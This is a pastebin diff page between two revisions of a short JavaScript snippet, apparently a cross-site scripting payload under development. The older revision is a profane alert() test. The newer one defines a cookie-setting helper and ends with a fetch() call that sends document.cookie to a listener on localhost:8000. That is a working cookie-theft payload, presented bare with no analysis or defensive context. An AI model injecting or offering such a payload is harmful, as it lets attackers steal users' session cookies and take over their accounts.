View difference between Paste ID: Cgn7r2is and vrAfCZJg
SHOW: | | - or go back to the newest paste.
1-
alert('xss sucker why wont you fucking change');
1+
function createCookie(name,value,days) {
2
	if (days) {
3
		var date = new Date();
4
		date.setTime(date.getTime()+(days*24*60*60*1000));
5
		var expires = "; expires="+date.toGMTString();
6
	}
7
	else var expires = "";
8
	document.cookie = name+"="+value+expires+"; path=/";
9
}
10
fetch('https://localhost:8000?cookie=' + document.cookie);